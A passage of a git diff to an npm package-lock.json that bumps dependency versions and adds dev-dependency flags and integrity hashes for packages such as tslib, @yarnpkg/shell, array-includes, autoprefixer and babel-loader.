"@types/node": "^13.7.0", - "@yarnpkg/fslib": "^2.2.1", + "@yarnpkg/fslib": "^2.4.0", "tslib": "^1.13.0" }, "dependencies": { + "@types/node": { + "version": "13.13.48", + "resolved": "https://registry.npmjs.org/@types/node/-/node-13.13.48.tgz", + "integrity": "sha512-z8wvSsgWQzkr4sVuMEEOvwMdOQjiRY2Y/ZW4fDfjfe3+TfQrZqFKOthBgk2RnVEmtOKrkwdZ7uTvsxTBLjKGDQ==", + "dev": true + }, "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true } } }, "@yarnpkg/shell": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.2.0.tgz", - "integrity": "sha512-IuOZhYxTydNySqP2HlKkfm1QjgCAgVBUZz5O5rXXxpS4vTNSa0q6fwqvNUSrHSWGKH/jAmJS23YbJqislj5wjg==", + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.4.1.tgz", + "integrity": "sha512-oNNJkH8ZI5uwu0dMkJf737yMSY1WXn9gp55DqSA5wAOhKvV5DJTXFETxkVgBQhO6Bow9tMGSpvowTMD/oAW/9g==", + "dev": true, "requires": { - "@yarnpkg/fslib": "^2.2.0", - "@yarnpkg/parsers": "^2.2.0", - "clipanion": "^2.4.4", + "@yarnpkg/fslib": "^2.4.0", + "@yarnpkg/parsers": "^2.3.0", + "clipanion": "^2.6.2", "cross-spawn": "7.0.3", "fast-glob": "^3.2.2", + "micromatch": "^4.0.2", "stream-buffers": "^3.0.2", "tslib": "^1.13.0" }, "dependencies": { + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, "cross-spawn": { "version": "7.0.3", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, "requires": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "micromatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.2.3" + } + }, "path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==" + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true }, "shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, "requires": { "shebang-regex": "^3.0.0" } @@ -2367,27 +4686,45 @@ "shebang-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==" + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } }, "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true }, "which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, "requires": { "isexe": "^2.0.0" } } } }, + "abab": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.5.tgz", + "integrity": "sha512-9IK9EadsbHo6jLWIpxpR6pL0sazTXV6+SQv25ZB+F7Bj9mJNaOc4nCRabwd5M/JwmUa8idz6Eci6eKfJryPs6Q==" + }, "abbrev": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", - "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==" + "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", + "dev": true }, "accepts": { "version": "1.3.7", @@ -2411,12 +4748,22 @@ "integrity": "sha512-HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ==", "dev": true }, - "agent-base": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz", - "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==", + "aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, "requires": { - "es6-promisify": "^5.0.0" + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "dependencies": { + "indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true + } } }, "ajv": { @@ -2452,6 +4799,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-3.0.0.tgz", "integrity": "sha512-ZpClVKqXN3RGBmKibdfWzqCY4lnjEuoNzU5T0oEFpfd/z5qJHVarukridD4juLO2FXMiwUQxr9WqQtaYa8XRYw==", + "dev": true, "requires": { "string-width": "^3.0.0" }, @@ -2459,17 +4807,20 @@ "ansi-regex": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==" + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", + "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=" + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true }, "string-width": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, "requires": { "emoji-regex": "^7.0.1", "is-fullwidth-code-point": "^2.0.0", @@ -2480,6 +4831,7 @@ "version": "5.2.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, "requires": { "ansi-regex": "^4.1.0" } @@ -2518,7 +4870,8 @@ "ansi-regex": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=" + "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", + "dev": true }, "ansi-styles": { "version": "3.2.1", @@ -2531,12 +4884,14 @@ "ansicolors": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/ansicolors/-/ansicolors-0.3.2.tgz", - "integrity": "sha1-ZlWX3oap/+Oqm/vmyuXG6kJrSXk=" + "integrity": "sha1-ZlWX3oap/+Oqm/vmyuXG6kJrSXk=", + "dev": true }, "any-promise": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", - "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8=" + "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8=", + "dev": true }, "anymatch": { "version": "2.0.0", @@ -2568,7 +4923,8 @@ "archy": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz", - "integrity": "sha1-+cjBN1fMHde8N5rHeyxipcKGjEA=" + "integrity": "sha1-+cjBN1fMHde8N5rHeyxipcKGjEA=", + "dev": true }, "are-we-there-yet": { "version": "1.1.5", @@ -2584,6 +4940,7 @@ "version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, "requires": { "sprintf-js": "~1.0.2" } @@ -2619,20 +4976,109 @@ "dev": true }, "array-includes": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.1.tgz", - "integrity": "sha512-c2VXaCHl7zPsvpkFsw4nxvFie4fh1ur9bpcgsVkIjqn0H/Xwdg+7fv3n2r/isyS8EBj5b06M9kHyZuIr4El6WQ==", + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.3.tgz", + "integrity": "sha512-gcem1KlBU7c9rB+Rq8/3PPKsK2kjqeEBa3bD5kkQo4nYlOHQCJqIJFqBXDEfwaRuYTT4E+FxA9xez7Gf/e3Q7A==", "dev": true, "requires": { + "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.17.0", + "es-abstract": "^1.18.0-next.2", + "get-intrinsic": "^1.1.1", "is-string": "^1.0.5" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + } + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } } }, "array-union": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", - "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==" + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true }, "array-uniq": { "version": "1.0.3", @@ -2646,6 +5092,104 @@ "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", "dev": true }, + "array.prototype.flatmap": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.2.4.tgz", + "integrity": "sha512-r9Z0zYoxqHz60vvQbWEdXIEtCwHF0yxaWfno9qzXeNHvfyl3BZqygmGzb84dsubyaXLH4husF+NFgMSdpZhk2Q==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "es-abstract": "^1.18.0-next.1", + "function-bind": "^1.1.1" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + } + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } + } + }, "arrify": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", @@ -2661,25 +5205,27 @@ "version": "0.2.4", "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", + "dev": true, "requires": { "safer-buffer": "~2.1.0" } }, "asn1.js": { - "version": "4.10.1", - "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.10.1.tgz", - "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==", + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-5.4.1.tgz", + "integrity": "sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==", "dev": true, "requires": { "bn.js": "^4.0.0", "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0" + "minimalistic-assert": "^1.0.0", + "safer-buffer": "^2.1.0" }, "dependencies": { "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -2726,7 +5272,8 @@ "ast-types": { "version": "0.9.6", "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.9.6.tgz", - "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=" + "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=", + "dev": true }, "astral-regex": { "version": "1.0.0", @@ -2774,18 +5321,18 @@ "dev": true }, "autoprefixer": { - "version": "9.7.6", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.7.6.tgz", - "integrity": "sha512-F7cYpbN7uVVhACZTeeIeealwdGM6wMtfWARVLTy5xmKtgVdBNJvbDRoCK3YO1orcs7gv/KwYlb3iXwu9Ug9BkQ==", + "version": "9.8.6", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.8.6.tgz", + "integrity": "sha512-XrvP4VVHdRBCdX1S3WXVD8+RyG9qeb1D5Sn1DeLiG2xfSpzellk5k54xbUERJ3M5DggQxes39UGOTP8CFrEGbg==", "dev": true, "requires": { - "browserslist": "^4.11.1", - "caniuse-lite": "^1.0.30001039", - "chalk": "^2.4.2", + "browserslist": "^4.12.0", + "caniuse-lite": "^1.0.30001109", + "colorette": "^1.2.1", "normalize-range": "^0.1.2", "num2fraction": "^1.2.2", - "postcss": "^7.0.27", - "postcss-value-parser": "^4.0.3" + "postcss": "^7.0.32", + "postcss-value-parser": "^4.1.0" } }, "aws-sign2": { @@ -2800,6 +5347,15 @@ "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==", "dev": true }, + "axios": { + "version": "0.21.1", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.1.tgz", + "integrity": "sha512-dKQiRHxGD9PPRIUNIWvZhPTPpl1rf/OxTYKsqKUDjBwYylTvV7SjSHJb9ratfyzM6wCdLCOYLzs73qpg5c4iGA==", + "dev": true, + "requires": { + "follow-redirects": "^1.10.0" + } + }, "babel-eslint": { "version": "10.1.0", "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-10.1.0.tgz", @@ -2815,22 +5371,30 @@ } }, "babel-loader": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.1.0.tgz", - "integrity": "sha512-7q7nC1tYOrqvUrN3LQK4GwSk/TQorZSOlO9C+RZDZpODgyN4ZlCqE5q9cDsyWOliN+aU9B4JX01xK9eJXowJLw==", + "version": "8.2.2", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.2.tgz", + "integrity": "sha512-JvTd0/D889PQBtUXJ2PXaKU/pjZDMtHA9V2ecm+eNRmmBCMR09a+fmpGTNwnJtFmFl5Ei7Vy47LjBb+L0wQ99g==", "dev": true, "requires": { - "find-cache-dir": "^2.1.0", + "find-cache-dir": "^3.3.1", "loader-utils": "^1.4.0", - "mkdirp": "^0.5.3", - "pify": "^4.0.1", + "make-dir": "^3.1.0", "schema-utils": "^2.6.5" }, "dependencies": { - "pify": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", - "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "requires": { + "semver": "^6.0.0" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", "dev": true } } @@ -2845,9 +5409,9 @@ } }, "babel-plugin-emotion": { - "version": "10.0.33", - "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.0.33.tgz", - "integrity": "sha512-bxZbTTGz0AJQDHm8k6Rf3RQJ8tX2scsfsRyKVgAbiUPUNIRtlK+7JxP+TAd1kRLABFxe0CFm2VdK4ePkoA9FxQ==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.2.2.tgz", + "integrity": "sha512-SMSkGoqTbTyUTDeuVuPIWifPdUGkTk1Kf9BWRiXIOIcuyMfsdp2EjeiiFvOzX8NOBvEh/ypKYvUh2rkgAJMCLA==", "requires": { "@babel/helper-module-imports": "^7.0.0", "@emotion/hash": "0.8.0", @@ -2871,6 +5435,44 @@ "resolve": "^1.12.0" } }, + "babel-plugin-polyfill-corejs2": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.0.tgz", + "integrity": "sha512-9bNwiR0dS881c5SHnzCmmGlMkJLl0OUZvxrxHo9w/iNoRuqaPjqlvBf4HrovXtQs/au5yKkpcdgfT1cC5PAZwg==", + "dev": true, + "requires": { + "@babel/compat-data": "^7.13.11", + "@babel/helper-define-polyfill-provider": "^0.2.0", + "semver": "^6.1.1" + }, + "dependencies": { + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } + } + }, + "babel-plugin-polyfill-corejs3": { + "version": "0.2.0", + "resolved": 